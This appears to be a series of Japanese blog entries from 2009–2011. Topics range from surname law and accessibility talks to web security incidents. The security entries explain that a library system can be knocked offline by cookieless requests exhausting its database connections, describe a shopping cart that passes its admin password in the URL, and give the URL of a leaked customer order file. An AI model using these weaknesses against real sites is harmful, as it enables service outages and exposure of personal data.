と、こんな感じです。誤差はありますが、思ったより少ないですね。偶然かもしれませんが結果オーライで。
よく考えると円周率を3.14とするというルールも無かったような気がするので、そういう意味では誤差はあります。ただ、そもそもどの程度の精度で回答する必要があるのか全く述べられていないわけです。トラックの線がミリ単位の正確さで引かれているとも思えませんし、誤差がどのくらいまで許容されるのかは何とも言えません。「約25メートル」と答えて「精度は指定されていない」と言い張るのも一計かもしれません。
※2011-05-07 追記: NHKで2010年5月4日に放送された「頭がしびれるテレビ・神はπに何を隠したのか」によると、陸上のトラックの設計では円周率を3.1416として計算することになっているのだそうです。
ルールがフレキシブルすぎます……。
あと、細かいですが巻末の「ある日の一日」で沖橋さんが2回登場しているふうですね。実際には2回目は井波さんです。
更新: 2011年1月10日17時0分頃
「「夫婦同姓の規定は憲法違反」 事実婚夫婦ら国を提訴へ (www.asahi.com)」。
また、事実婚の夫婦は、国などに婚姻届の不受理処分の取り消しも求める方向だ。婚姻届は一方の姓を選んで提出するが、夫婦は両方の姓を選んだため受理されなかった。
原告の一人の元高校教諭塚本協子さん（７５）は「一人娘なので姓は変えたくなかった。政権交代で民法改正を期待していたが、解決できないので司法に訴える」と話す。
75歳! 別姓での婚姻を戸籍に記載してほしくて届け出たのに拒否され、仕方なくずっと事実婚でやってきたということのようで。
別姓夫婦は既に結構いるわけですが、現状では、別姓夫婦であるという事実は戸籍に記載されない場合がほとんどです。特に、事実婚で通している場合には婚姻の事実さえ記載されないわけで、これは社会的にも影響が出てきます。たとえば、相続の際は戸籍を頼りにして相続人を調査しますが、戸籍に正確な記載がないと手続きが大変になったり、正しい相続が行われないおそれがあります。
言うまでもないと思いますが、生活実態を書類に合わせろというのはナンセンスです。書類のほうを生活実態に合わせて、事実を正しく記載するべきでしょう。
では、なぜ別姓夫婦を戸籍に記載できないのかというと……これは私には分かりません。記載できない積極的な理由は存在しないように思います。というのも、現在既に別姓の配偶者が戸籍に記載されているケースがあるからです。これは具体的には国際結婚の場合で、法務省のサイトに解説があります。
1 日本人が外国人と婚姻をした場合には，外国人についての戸籍は作られませんが，配偶者である日本人の戸籍に，その外国人（氏名・生年月日・国籍）と婚姻した事実が記載されます。この場合，その日本人が戸籍の筆頭に記載された者でないときは，その者につき新戸籍が編製されます。
2 外国人と婚姻しても日本人の氏は当然には変わりません。しかし，外国人の氏を名のりたい場合には，婚姻の日から６か月以内であれば，戸籍届出窓口に氏の変更の届出をするだけで，外国人配偶者の氏に変更することができます。このような氏の変更の届出がされると，氏名は「ジョーダンあゆ美」となります。
なお，婚姻の日から６か月が過ぎている場合には，家庭裁判所の許可を得た上で，戸籍届出窓口に氏の変更の届出をすれば，氏を変更することができます。
日本人同士の場合とは記載のされ方は異なりますが、きちんと別姓婚とわかる状態で記載されますし、後半にあるように、届出で同姓にすることもできます。「選択的夫婦別姓」の婚姻制度が、既に運用されているわけです。
つまり、日本の戸籍制度では、別姓夫婦を戸籍に記載することができるのです。にもかかわらず、夫婦の両方が日本人である場合だけ記載が許されていません。
日本人の場合だけ禁止する理由は、私には良く分かりません。
※余談ですが、現在では初婚の場合は上記のように新戸籍が作られます。今も婚姻を「入籍」と呼ぶことがありますが、それは戦前の旧民法の名残です。なお、「入籍」という手続き自体は現在もあって、それは離婚時の子の姓の変更に利用されています。
更新: 2010年11月4日15時20分頃
学生会員向け：アカデミックプログラム Vol.13「Webアクセシビリティの基礎と2010年JIS改定のポイント」 (www.w2c.jp)、終了しました。聴きに来てくださったみなさま、Ustreamでご試聴くださったみなさま、ありがとうございました。
録画が以下で見られます。
どうも音声がうまく入っていなかったようで、収録されているものはTake3です。
※追記:しかも後半は録画に失敗していたそうで、休憩後の部分は録画がありません。すみません……。
スライドのPDFを以下に置いておきますので、興味ありましたらどうぞ。
※しれっと図書館ネタが入っていますが他意はありません。特定の企業や特定のサイトだけの問題ではないということでひとつ……。
更新: 2010年10月25日14時0分頃
明日になりました……学生会員向け：アカデミックプログラム Vol.13「Webアクセシビリティの基礎と2010年JIS改定のポイント」 (www.w2c.jp)。
おおむね以下のような話をする予定です。
以下で19:30から中継がある予定ですので、興味をお持ちの方はどうぞ。
更新: 2010年8月26日0時30分頃
朝日の報道と前後して、高木さんからも情報が出ていますね……「Anonymous FTPで公開されていたGlobal.asaが示すもの 岡崎図書館事件(6) (takagi-hiromitsu.jp)」。
福岡県の篠栗町立図書館のサイトにFTPサーバが立っていて、Anonymous FTPでソースコードらしきものが取得できたというお話のようで。今どきFTPのポートが開いているというだけでも驚きますが、Anonymous FTPは物凄いですね。
※私の記憶では、Windows 2000 ServerのFTPサービスはデフォルトで匿名アクセスが有効になっていたような気がします。Windows Server 2003ではFTPを使おうと思ったこと自体がないので、最近どうなっているのかは良く分かりませんが。
※2010-08-26追記: デフォルト設定どころか、管理会社 (MDISとは別らしい) が故意に認証を外したらしく、しかも書き込み可能だったという説があるようで……http://twitter.com/HiromitsuTakagi/status/22096009910 (twitter.com)。それは想像もできませんでした。にわかには信じがたい話ですが、事実だとすれば驚愕の一言です。
以前から、MELIL/CSはSession_OnStartでDBコネクションを確立しているのではないかと推察されていました。高木さんが取得したGlobal.asaの内容は、まさにその予想を裏付けるものでした。
この実装では、セッション開始の際にDBへの接続が確立され、セッション終了時に破棄されます。しかし、この図書館の蔵書検索は、そもそもログインして使うサービスではありません。ログアウトの機能もありませんから、ユーザーのログアウトでセッションが終了することはありません。ユーザーがサイトから離脱してもサーバ側にはセッションが残り、タイムアウトになるまで維持されます。タイムアウトまでの時間は設定によりますが、IISのデフォルトでは20分です。
さらに注目するべきは、セッションがCookieで管理されているということです。誰かがブラウザでこのアプリケーションにアクセスすると、アプリケーションではセッションが開始され、そのセッションIDを含むCookieが発行されます。次回アクセス時には、ブラウザからアプリケーションにCookieが送られ、アプリケーションはそのCookieを見て、同一セッションであるかどうかを判断します。
では、ブラウザのCookieが無効だったらどうなるでしょうか。この場合、初回アクセス時にセッションが開始されてCookieが発行されますが、ブラウザはそのCookieを無視します。次回アクセス時にはCookieが送られてこないため、アプリケーションは初回アクセスだと判断します。アプリケーションは別のセッションを開始し、別のCookieを発行します。
つまり、Cookie無効状態でアクセスされると、アプリケーションはどんどん新しいセッションを作ります。普通はそれでも大した問題は起きないのですが、セッション開始時にDB接続を確立する場合、DBへの接続数がどんどん増えていくことになります。DB接続できる本数には限りがありますから、その上限に達するとDB接続できなくなり、エラーで終了してしまいます。たとえば以下のようなエラーメッセージが出ることになります。
Oracle Automation エラー '800a01b8' 接続できません。,ORA-00020: maximum number of processes (150) exceeded
/LM/W3SVC/1/Root/tosho/global.asa, 行 31
これは、私が尼崎市立図書館のサイトで目撃したメッセージです。岡崎市立中央図書館においては、このエラーが On Error Resume Next で飛ばされ、別の場所でエラーになっていたと考えられています。いずれにしても、DB接続数が上限に達してしまい、サービスを継続できなくなるという現象が発生します。CPUパワーやメモリ、ディスクの容量などとは全く関係なく発生します。
ふつう、クローラはCookieを送出しませんから、クローラがアクセスしてくると一気に大量のDB接続が発生することになります。だからrobots.txtでクローラのアクセスを拒否していたのでしょう。
ではCookie有効のブラウザであれば問題が起きないかというと、そうでもありません。多くの人がアクセスしてきた場合、アクセスしてきた人数分だけDB接続が発生し、タイムアウトまで維持されます。短時間の間に多くの人が来れば、負荷がそれほど高くなくてもサービスが停止してしまうおそれがあります。
そもそも、セッション開始時にDB接続を確立するような設計がナンセンスなのであって、その設計を見直すべきです。高木さんの報告によれば、ASP.NET版では実際に見直しがされているようですね。
※どうでも良い話ですが、「'エラー対策？」というコメントが秀逸で笑ってしまいました。「エラー対策」と書くなら分かるのですが、どうして疑問形で書かれているのでしょうか。
関連する話題: Web / セキュリティ / 岡崎市立中央図書館事件 / librahack
更新: 2010年8月17日0時55分頃
Amazon の各商品には「ASIN」と呼ばれる商品 ID がついています。Amazon にアフィリエイトのリンクを張りたいときには ASIN を調べるのですが、検索結果の一覧では ASIN が表示されません。リンク先の詳細ページを開くと、その中程に商品スペックと一緒に書かれているのですが、これを探すのも結構面倒です。
……と思っていたのですが、せっかく Web サービスが使えるようになったので、検索しつつ一覧に ASIN を表示するものを作ってみました。それがアマ検。名前テキトーな上に実装もテキトーなので、スタイルも当たっていないしいろいろ変な挙動もありますが、まあ私が自分で使うぶんにはこれでも良いかなということで。
※べつに皆さん使っていただいて構いませんが、生成されるリンクは bakera.jp のアフィリエイトつきです。アフィリエイトが生理的に駄目な方はご注意ください。
で、試しにいろいろ検索してみたのですが、なんかテスト商品とかいっぱいヒットしてしまいますね。「藤田TEST商店 (www.amazon.co.jp)
※ちなみに「"」を含む文字列を検索すると死にますが、どうも HttpHandler がパスに %22 を含む URL を扱えないようで、hatomaru.dll に値が渡る前に例外が出ています。IIS か ASP.NET 自体の問題っぽい気がしていますが、回避策あるのでしょうか……。
※2010-08-16追記: 回避策はいろいろありました……URLに%22が含まれると例外が出る問題、URLに%22が含まれても何とかする方法、.NET Framework4 / ASP.NET4を導入。
関連する話題: hatomaru.dll / C#
更新: 2010年8月8日13時15分頃
HTML4.01邦訳は以下のURLで知られていますが、
これが昨日(8月5日)から Not Found になっています。URLを削って一つ上のディレクトリにアクセスしてみると、ファイル一覧が見えます。そこで適当なファイルを選ぶと、見たかった内容にアクセスできます。
どうも、ASAHIネットのApacheの設定が変わってしまったようですね。少なくとも以下2点が変更されています。
1日経っても直る気配がないので問い合わせてみたところ、すぐに返事がいただけました。土曜日なのに素晴らしいですね。
個人ホームページサービスのサーバのメンテナンスによる影響かと思われますが、現在担当部署に確認を行っております。
誠に恐縮ではございますが、今しばらくお待ちいただきますようお願い申し上げます。
というわけで、そのうち直るのではないかと思います。
※あるいは「担当部署」は土日休みという可能性もありますが、週明けには直るでしょう。たぶん。
※追記: 8月8日の昼頃から復旧しているようです。
更新: 2010年7月18日22時0分頃
学生会員向け：アカデミックプログラム Vol.7「HTML仕様書を読む」 (www.w2c.jp)、本日13:00からとなります。以下のURLで生放送される予定ですので、興味ありましたらご覧ください。
……というわけで無事に終わりました。視聴してくださった皆様、ありがとうございました。以下に録画がありますので、見逃したという方はどうぞ。
資料は以下で公開されています (PDF)。
Ustreamは初めてだったので、いろいろ戸惑った点もありました。最大の反省点は、視線が定まらなかった点。会場の参加者を見て話せば良いのか、カメラを見て話せば良いのかイマイチ分からず、目がモニターとプロジェクターを行ったり来たりしてしまうという、挙動不審な感じになってしまいました。
話すスピードが速いというご意見もあったようで……いや、これ今回に限らずいつも言われてしまうので、基本的に私の話すペースが速いのだと思います。もう少しゆっくり話した方が良いですね。
※2010-07-18追記: 一部訂正・補足事項がありますので、サポートページを作成しました。あわせてご覧ください。えむけいさん、コメントありがとうございます。
更新: 2010年7月13日12時0分頃
7月17日の土曜日にこんなお話をすることになりました …… 学生会員向け：アカデミックプログラム Vol.7「HTML仕様書を読む」 (www.w2c.jp)。
基本的に学生さん向けのお話になるのですが、Ustreamでの一般公開も予定していますので、どなたでも視聴できます。7月17日の13:00から、以下のURLで生放送される予定です。
お話しする内容はまだ確定ではありませんが、今のところこんな感じを予定しています。
仕様書を読むというタイトルではありますが、私が仕様書を全部読み上げたりということは想定していません。SGML宣言を延々読んだり、ということもありません。また、HTML5の話はほとんど出ない予定です。Web業界で仕事をされている方やプログラマの方などには、既知の話になると思います。
と、こんな感じですが、もし興味をお持ちの方がいらっしゃいましたら、ご覧いただければと思います。
※Ustreamは初めてですので、うまくしゃべれるのかどうか、いまいち自信がありませんが。
更新: 2010年6月1日11時35分頃
「KDDIの固体バカが言う「EZ番号はプライバシーに関する情報ではない」 (takagi-hiromitsu.jp)」。
「固体」ではなく「個体」が正解なのですが、KDDIのドキュメントには「固体」と記述してあるという。まあ、それは単なる変換ミスの類でしょうが、問題なのはその記述の内容の方ですね。
■EZ番号はお客さまがURLにアクセスした際にサイト提供元のサーバに通知され、会員のアクセス管理などに利用されますが携帯電話番号やメールアドレス、氏名などのプライバシーに関する情報は含まれておりませんのでご安心ください。
※2010-06-01追記: 上記の記述は削除されたようで、現在は確認できません。
確かに、EZ番号それ自体には個人情報は含まれていないでしょう。しかし問題は、個人情報と簡単に結びつくという点です。たとえば、以下のようにすると……
これでEZ番号とメールアドレスが結びつきます。そして、このEZ番号とメールアドレスの組みが他のサイトに提供されると……そのサイトでは、アクセスしてきた人のEZ番号を取得し、メールアドレスを知ることができるようになります。
この例はメールに記載されたURLにアクセスさせるという方法ですが、結びつけの方法は他にもあります。たとえば会員制のサイトでは、会員情報登録の際に入力した情報とEZ番号とを結びつけてDBに保存しています。これはどのサイトも普通にやっていることですが、SQLインジェクションでDBの内容が漏洩したりすれば、利用者にとっては厳しいことになります。
そのため、個体識別番号をそのままDBに格納するのではなく、ハッシュ関数を通してハッシュ値だけ記録するようにしているサイトもあるようです。ただ、キャリア側からそのような指導が行われている気配もありませんし、むしろ「安全です」と言ってしまっているわけですから、そのような取り組みの必要性は認識されていません。わざわざそのような処理をしているサイトは少ないでしょう。
EZ番号それ自体に個人情報が含まれるかどうかは、どうでも良い話なのです。それを個人情報と結びつけることが出来るか、実際に結びついているかが問題です。
ちなみに、CookieやIPアドレスも個人情報と結びつけることが可能です。もっとも、これらが個人情報と結びつけられても、その結びつきは限定されています。Cookieの場合はブラウザ側で削除できますし、そもそも発行したサイト以外からは読み取れません。IPアドレスの場合、同じ値がずっと使われるとは限りませんし、そもそも個人と一対一対応しているわけでもありません。
※プライバシーポリシーに「CookieやIPアドレスは個人情報ではありません」と書いている企業もあるようですが、それ自体が個人情報かどうかは問われません。そうではなく、「当社ではCookieやIPアドレスを個人情報と結びつけません」と書かなければなりません。
それに対して、EZ番号はどうでしょうか。削除できず、変更できず、どのサイトからも同じ値を読み出し可能であるとすれば、それはかなり強固な結びつきになるのではないかと思います。
更新: 2010年4月8日1時45分頃
子ども手当に関して、いろいろなデマ情報が飛び交っているようですね。見た瞬間に「これはありえない」と思えるようなものもリツイートされてくるのですが、笑い話としてリツイートしているのか、本気で信じているのか、判断に苦しみます……。
とりあえず、厚生労働省のサイトに「厚生労働省：子ども手当について (www.mhlw.go.jp)」というコンテンツがあります。受給の要件なども書かれているので、「そんなアホな!?」と思ったら、リツイートする前に一読してみると良いのではないかと思います。
そんなあれこれに対応するためなのか、新たに「子ども手当について 一問一答」というドキュメントが追加されたようです。たとえば、以下のような項目について回答されています。
さらに読んでいくと、こんなピンポイントな質問も。
母国で５０人の孤児と養子縁組を行った外国人にも子ども手当は支給されますか。
A. 母国で５０人の孤児と養子縁組を行った外国人については、支給要件を満たしませんので、子ども手当は支給されません。
以上、子ども手当について 一問一答 より
というわけで内容はまともなのですが、しかし……何なのでしょうね、このフォントは。同じところに掲載されている他のPDFは普通にゴシックや明朝体が使われているのですが、この一問一答だけは何故かポップ体のフォントが使われています。それも見出しだけならともかく、本文も全てポップ体の太字なので、読みにくいこと読みにくいこと。
いったい、どういう意図でポップ体を選択したのか。その意味は私には一つしか考えられませんでした。すなわち、これは……ちよちゃんの台詞だということです! つまり我々は、この文章をちよちゃんの台詞とみなして読めば良いわけですね。
※初期のあずまんが大王 (www.amazon.co.jp)
まあ、それ以前に、PDF形式になっていること自体どうなのかという疑問もありますけれども。もう少し読みやすくならないものでしょうかね……。
※2010-04-08追記: HTML版も用意されたようです……「子ども手当について 一問一答 (www.mhlw.go.jp)」(Argrathさん情報ありがとうございます)。元のPDFよりだいぶ読みやすくなっていると思います。
更新: 2010年4月3日23時20分頃
メッセサンオー (www.messe-sanoh.co.jp)で個人情報が流出したというお話が。
Internet Watch の記事には追記がありますね。
なお、メッセサンオーが通販サイトで導入していたショッピングカートを提供するWEBインベンターは、Googleにインデックスされないように対策した最新の管理プログラムを公開し、利用者に対して適用を呼びかけている。
ほう、最新版を使用していなかったのが悪い……ということなのでしょうか?
その「WEBインベンター」のサイトを見ると、ショッピングカートCGIの紹介ページ (wb-i.net)があり、サンプルが公開されています。たとえば、Contents-Mall (148,000円) のサンプルは以下のURLで見られます。
左メニューの下の方に「管理者用」という項目があり、クリックするとログイン画面にたどり着きます。
これはサンプルなので、誰でもログインできるようにログイン画面にパスワードが書いてあります。パスワードは「1234」なので、パスワードを入力して「認証」ボタンを押します。すると管理用のメニューが出るので、適当に「会員管理」あたりを選んで右クリックし、別ウィンドウ (あるいは別タブ) で表示してみます。アドレスバーのURLはこうなります。
URLの末尾に燦然と輝くpass=1234の文字。その後、適当に会員の情報を見て行くとURLは次々変わりますが、末尾には常に pass=1234 がついてまわります。また、pass=1234の部分を削ってアクセスしてみると、パスワード入力を求められる画面になります。
つまり、URLにパスワードをつけて引き回しているわけです。何らかの事情でどこかのURLを知られると、それだけで管理画面の全ての機能にアクセスされてしまいます。……これ、パスワードによる認証というより、秘密のURLによる管理に近いですね。
通常、URLは秘密情報としては扱われません。ブラウザはURLにパスワードが含まれているなんてことは知らないわけですから、普段どおりにRefererを送りますし、履歴にも残します。行動履歴を取るようなツールバーを入れていれば、パスワード入りのURLが外部に送出されることにもなります。利用者にしても同じです。「この管理画面を使うときには、絶対にURLを漏らしてはならない」と言い渡されているのならともかく、そうでなければURLを慎重に取り扱うようなことはしないでしょう。ブックマークするかもしれませんし、メールで誰かに送るかもしれません。
「どうして漏れたのか?」という疑問の答えは、ほとんど明白だと思います。
そして、ベンダー(?)のWEBインベンターは、この事件を受けてこんな文書を出しています。
さて、当社のカートを利用しているお店で個人情報流出の事故が発生しました。それは、管理プログラムがGoogleにインデックスされてしまったことによるものです。原因は調査中ですが、しかし、そのような場合でも検索エンジンに拾われないような対策を施してありますので、お知らせいたします。（問題のプログラムは2004年ごろのプログラムのようです。）
(～中略～)
可能なら、最新のプログラムに差し替えることをお勧めいたします。少なくとも管理用のプログラムに下記のMETAタグを挿入すると良いと思います。
print "<meta name='robots' content='noindex,nofollow,noarchive'>\n";
えっ、meta要素の追加? そこですか? そこなんですか?
確かに、上記のようなmeta要素を入れれば、行儀の良い検索エンジンはインデックスしないようにしてくれるでしょう。ただ、それは検索エンジンにそういう動作が期待されるというだけです。行儀の悪い検索エンジンもあるかもしれませんし、そもそも、人間はmetaになんか従ってくれませんから、URLが人に知られれば管理画面にアクセスされてしまいます。
検索エンジンにインデックスされるということは、問題の本質ではないでしょう。問題は「URLが漏れると管理画面の全ての機能にアクセスされてしまう」という点です。ここを解決しない限り、安心して使うことは難しいのではないかと思うのですが……。
※ここから追記:
それから、読売の記事で言及されているCSVファイルなのですが、現在は魚拓からも削除されているようです。そのURLは、"http://www.messe-sanoh.co.jp/cgi/shopweb/csv_lock/order_user.csv"というものだったようで。パスワードすら含まれていないうえに、他の秘密情報も含まれておらず、かなり推測しやすそうですね……。
※ここまで追記
悩ましいのは、このアプリケーションを採用している企業がメッセサンオーだけではないという点です。利用者が指示どおりの対応をしたとして、それで大丈夫なのかというと……。この辺、どうアクションすれば良いのでしょうかね。
更新: 2010年1月12日15時35分頃
「GumblarによるWeb改ざん被害が相次ぐ、ユーザーも被害防止対策を (internet.watch.impress.co.jp)」。結構大きな企業のサイトがやられているのが興味深いですね。各社きちんとお知らせを出していますが……。
原因・経緯（12月26日更新）
ストリームを担当する制作会社のパソコンが、「Gumblar（ガンブラー）」亜種により、コンピュータウィルスに感染し、パソコンの情報が第三者により盗まれ、対象サイトのファイルが改ざんされました。
４．原因・経緯
ハウス食品「採用ホームページ」を担当する制作会社のパソコンが、コンピューターウィルス「Gumblar（ガンブラー）亜種」に感染し、パソコンの情報が第三者により盗まれ、対象ページが改ざんされました。
以上、ハウス食品「採用ホームページ」に関するお詫びとお知らせ（2010年1月7日）| ハウス食品からのお知らせ | 会社情報 | ハウス食品 より
■原因・経緯（2010年1月6日更新）
弊社ホームページ制作会社のパソコンが、「Gumblar亜種ウィルス」に感染したことにより、パソコンの情報が第3者により盗まれ、対象サイトのファイルが改ざんされました。
こぞって「制作会社のパソコンが感染」となっていますね。
それはともかく、この規模の企業がGumblarの被害で改竄されていること自体が興味深いです。GumblarはFTPのアカウント情報を盗んで攻撃者に送り、攻撃者はそのアカウントでFTP接続して改竄を実行します。私の知る限り、既知の亜種では盗まれるのはFTPのパスワードだけで、SSHのパスワードは盗まれないはずです。
※……と、私は思っていますが、Gumblarにそこまで詳しくないのでイマイチ自信がありません。
ということは、以下のような状況だったということになります。
今時これは無いだろう……と思いたいところですが、まあ実際、そうでもなかったりするのですよね。
もちろん、しっかりやっている企業もあります。Webサーバのファイル更新をするのにRSAのトークンやクライアント証明書を渡されたりして、「ちょっとやりすぎじゃないの?」と思うことも少なくありません。
ただ、やっていない企業は本当にやっていなくて、本番サーバのFTPアカウント情報が送られてきて終わりという場合もあります。SSH/SCPならまだしも、本気で単なるFTPだったりするので驚きます。とはいえ、こちらから「FTPは嫌です」と言うのも変ですし、先方のポリシー的にOKなら従いますが……。
このへんは、会社による差が激しすぎると思うのですよね。
※2010-01-12追記: FTPを使わないことが対策になる、と言っているわけではありませんので念のため。感染しないようにすることが重要です。
関連する話題: セキュリティ
更新: 2009年12月19日1時55分頃
「URL踏むと「こんにちは こんにちは!!」 AmebaなうのCSRF脆弱性で“意図しない投稿”広がる (www.itmedia.co.jp)」だそうで。
コミュニティーサイト構築に詳しい専門家は、「CSRF対策は基本的なところ。Amebaなうが対策していなかったのは意外だ」と話している。
「CSRF対策は基本的なところ」と言われると、発見も対処も容易であるような印象を受けますが、これは少し違和感がありますね。
半年ほど前の話ですが、弊社 (www.b-architects.com)のクライアントが新規のECサイトを立ち上げるにあたって脆弱性診断をしようという話になり、外部の会社に見積もり依頼をしたことがあります。その際、業界では知らない人がいないような大手会社の診断メニューも見せていただきました。
そこで印象的だったのは、標準とされるプランにCSRFの診断が含まれていなかったことです。標準のコースにはXSSやSQLインジェクションの診断が含まれますが、CSRFは「アドバンスド」プランの方にしか含まれていませんでした。普通のサイトではXSSやSQLインジェクションといった「基本的な」問題を検査するけれどもCSRFは検査せず、より高度なセキュリティが求められる場合に初めて検査するというプラン構成だということです。
つまり、CSRFへの対策は、大手診断会社の標準コースには含まれないような要素であるわけです。
もっとも、CSRFが標準プランに含まれないのは、これがかなり厄介な問題だからという面もあるでしょう。XSSやSQLインジェクションと比較すると、以下のような問題点があります。
XSSやSQLインジェクションなどは単純なバグが原因で発生するものです。指摘された場合、修正の方法について議論する必要もなく、ただバグを修正すれば良いだけです (たまに、変な修正の仕方をする人もいますが……)。
それに対し、CSRFはバグが原因ではありません。設計段階から意識的にCSRFに対応する必要があり、それが抜けていたのであれば設計から再検討する必要があります。また、対策方法もいろいろあるので、どう対策して良いのかすぐには方針が決められない場合があります。
※個人的には、フレームワークにCSRF対策の機能があればそれを使用し、無ければ「高木方式 (takagi-hiromitsu.jp)」で良いとは思うのですが……。
XSSやSQLインジェクションなどは、サイトのどこにあっても危険です。例外もないわけではありませんが、特殊な場合だけでしょう (たとえば、phpMyAdminのようなアプリケーションでは管理者が任意のSQLを実行できるようになっている必要があります)。ほぼ一律に脆弱性とみなせますし、一律で対応すれば良いことになります。
しかしCSRFについては、そもそもそれが脆弱性なのかどうかを判断する必要があります。第三者の用意したフォームからPOSTできるとしても、それだけでは脆弱性とはみなせません。以下のような点を考慮して検討する必要があります。
一般的なXSSやSQLインジェクションについては、特定の文字をフォームやURLに入れるだけで発見したり、存在を推定したりすることが可能です。そのため、「うっかり」発見されて届け出られるケースも多くなります。
それに対して、CSRFを発見するのはけっこう面倒です。ログインした後でフォームを利用してみてパラメータを見たり、パラメータを変更した状態でPOSTしてみて動作を見る必要があります。しかも、フォームのPOSTでどのような副作用が生じるのか、外部からは簡単に判断できない場合もあります。
脆弱性であるかどうかについては前述のような判断も必要になりますので、機械的なチェックが難しいという問題もあるでしょう。
※余談ですが、情報セキュリティ早期警戒パートナーシップの統計ではCSRFの届出はかなり少ないようで、もはや「その他」扱いです。これは対策が進んでいるためではなく、単に「うっかり」発見されるケースが希だからなのではないかと思います。CSRFの発見にはログインが必要な上に、確認が実に面倒です。私もCSRFの届出は数件しかしていませんが、これは「うっかり」発見する確率が低いだけだと思います。
「基本的」と言われると簡単に対処できそうな印象を受けますが、CSRFは、他の「基本的な」脆弱性と比較すると、発見するのも対応するのも面倒です。実はけっこう厄介ですし、意識的に取り組んで行かなければならない問題だと思うのですよね。
※追記: 対策しなくて良いとか、対策しないのが当然だと言っているわけではありません。むしろ「侮るべからず」ということです。注意してほしいと思うのは、発注側がCSRFへの対策を必要としている場合、要件に明確に含めないと対策が行われない可能性があるということです。
更新: 2009年11月23日20時0分頃
サンシャイン牧場ですが、アイテム課金が始まったようですね。いろいろ騒がれてもいますが、個人的には、当初からこうなるだろうとは思っていたので、課金が始まったこと自体には驚いていません。
しかし、実は大変なことになっています。詳しくは書けませんが、現時点では、サンシャイン牧場でカード情報を登録することは避けるべきです。おそらく近いうちに動きがあると思いますので、もう少し待ちましょう。
※追記: とりあえず、カード番号は漏れていないようです。
※2009-10-23追記: 諸々お察しください。とりあえず購入の機能は停止したようで、「メンテナンス中です」と表示されるようになりましたが……。
※2009-10-23さらに追記: 問題の部分も停止したようです。ひとまず危険はなくなりました。ただ、この停止が一時的な物なのかどうか、修正されるのかどうかといった情報も入ってきていませんので、いまだ詳細を公開できる段階にはありません。完全に解決した段階で情報を公開する予定ですので、今はお待ちください。
※2009-10-23また追記: 修正されたかも: 「サンシャイン牧場の課金システムが修正されたっぽい」
※2009-10-31追記: さらに追加のアナウンスがありました: 「サンシャイン牧場・課金システムの問題についてのアナウンス」
※2009-11-03追記: 読売新聞に出たようです: 「サンシャイン牧場の件が全国ニュースに」
※2009-11-03追記: テレビのニュースでもやっていたようで : 「FNNニュース: 「mixi」上のゲームで利用者約4,200人分の個人情報が3日間にわたり閲覧可能な状態に (www.fnn-news.com)」
※2009-11-03追記: 毎日新聞にも出たようです : 「本人と偽ってプログラムを操作 (サンシャイン牧場の件・毎日新聞版)」
※2009-11-04追記: 朝日新聞にも出たようです : 「特殊な知識を持った人 (サンシャイン牧場の件・朝日新聞版)」
※以下、2009-11-23追記
取扱終了になりましたので、サンシャイン牧場 情報「露出」問題のまとめというページを作りました。技術的には特に面白い話でもありませんが、興味のある方は参考になさってください。
関連する話題: ゲーム / サンシャイン牧場 / セキュリティ / 情報セキュリティ早期警戒パートナーシップ
更新: 2009年11月13日13時40分頃
本日のWindows Updateに登場しているMS09-065 (KB969947) (www.microsoft.com)ですが、これをDELL OPTIPLEX 740に適用したところ、フリーズが発生。ログオン完了後にデスクトップ画面が表示されてしばらくすると、画面の一部が赤くなってフリーズし、キーボード入力も何も受け付けず、電源を強制的に切るしかなくなります。別の同機種でも再現する模様。
どうもビデオドライバ周りで死んでいるようですが、MS09-065は「Windows カーネル モード ドライバーの脆弱性により、リモートでコードが実行される」という問題を修正するものですね。おそらく、OPTIPLEX 740のドライバとの相性が悪いのでしょうね……。
※以下、2009-11-12追記
他のDELLマシンでも発生しているようですね。
症状が発生した場合ですが、とりあえずセーフモードでは起動できますので、KB969947を削除することができます。参考までに、以下、Windows XPの場合の手順です。
あとは再起動すると復活します。ただ、自動更新を設定している場合はシャットダウン時に勝手に適用されてしまったりするので、「更新の通知を受け取らない」ように設定した方が良いかもしれません。
ただし、この状態では深刻な脆弱性が残ったままになりますので、いつまでもこのままにしておくべきではありません。おそらくDELLかMSから何らかの対応策が出ると思いますので、それを見てしかるべき対応をする必要があります。
※2009-11-12さらに追記
どうもATIの古いドライバがだめだったらしく、ドライバを最新にしてからKB969947を適用すれば良いようです (適用して30分ほど経ちますが、今のところ大丈夫)。
※2009-11-13追記
マイクロソフト側でも問題を認識されたようで、以下のような話が出ています。
英語版のKBに"Known issues with this security update"という項が追加されています。
Known issues with this security update
After you install this security update on a computer that is running Windows XP and that is using an ATI Radeon HD 2400 series video adapter, you may find that the computer does not start correctly. To resolve this issue, follow these steps:
以上、MS09-065: Vulnerabilities in Windows kernel-mode drivers could allow remote code execution より
更新: 2009年11月5日14時11分頃
サンシャイン牧場の件ですが、mixiから「重要なお知らせ mixiアプリ「サンシャイン牧場」の不具合について」というアナウンスが出ています。例によってmixi会員でないと読めないと思いますが……。
長いですが引用しておきます。
mixi運営事務局です。
Rekoo社が提供するmixiアプリ「サンシャイン牧場」の課金サービスに関して、一部のユーザー様より不具合に関するお問い合わせを頂戴しておりますので、お知らせいたします。
Rekoo社に確認しましたところ、Rekoo社が提供している課金サービスに不具合があり、誤課金等の事象が発生したことを確認いたしましたため、当社は、Rekoo社に対して、不具合の原因の究明及び対策の実施を要請いたしました。
現在、課金サービスに関する不具合は解消されております。
本不具合に関する詳細な経緯、状況につきましては、下記のRekoo社からの説明をご確認下さいますようお願いいたします。
- Rekoo社の説明ページ
※Rekoo社のプロフィールページへリンクします。また、当該アプリケーションをご利用のユーザー様で誤課金等に心当たりがある方は、Rekoo社にご連絡いただけますようお願いいたします。
なお、当社といたしましては、多くのユーザーの皆様がご利用いただいているアプリケーションにおいて、誤課金等のトラブルがあったことについて、重く受け止めております。
提供者が外部の課金システムを利用する場合の監視・チェックを強化するとともに、当社が公式に提供する課金システムの導入を急ぐことで、ユーザーの皆様が、より安心してmixiアプリご利用いただける環境を用意するべく尽力して参ります。
このお知らせから「Rekooさん」のプロフィールページにリンクしており、自己紹介欄にアナウンスが出ています。また、サンシャイン牧場公式コミュニティにも「課金サービス開始時の不具合について」と題して同様のアナウンスが出ています。
※自己紹介に書いてあるのは変と言えば変なのですが、こういう公式なアナウンスの仕組み自体が用意されていないのでしょう。もっと言うと、課金利用後にmixiを退会した人がいることも考えられるので、mixi外からも読める形でアナウンスすることが望ましいと思いますが、これも適切な手段がないのでしょうね……。
以下、Rekooからのアナウンスを引用しておきます。
mixiアプリ「サンシャイン牧場」をいつもご利用いただき、誠にありがとうございます。
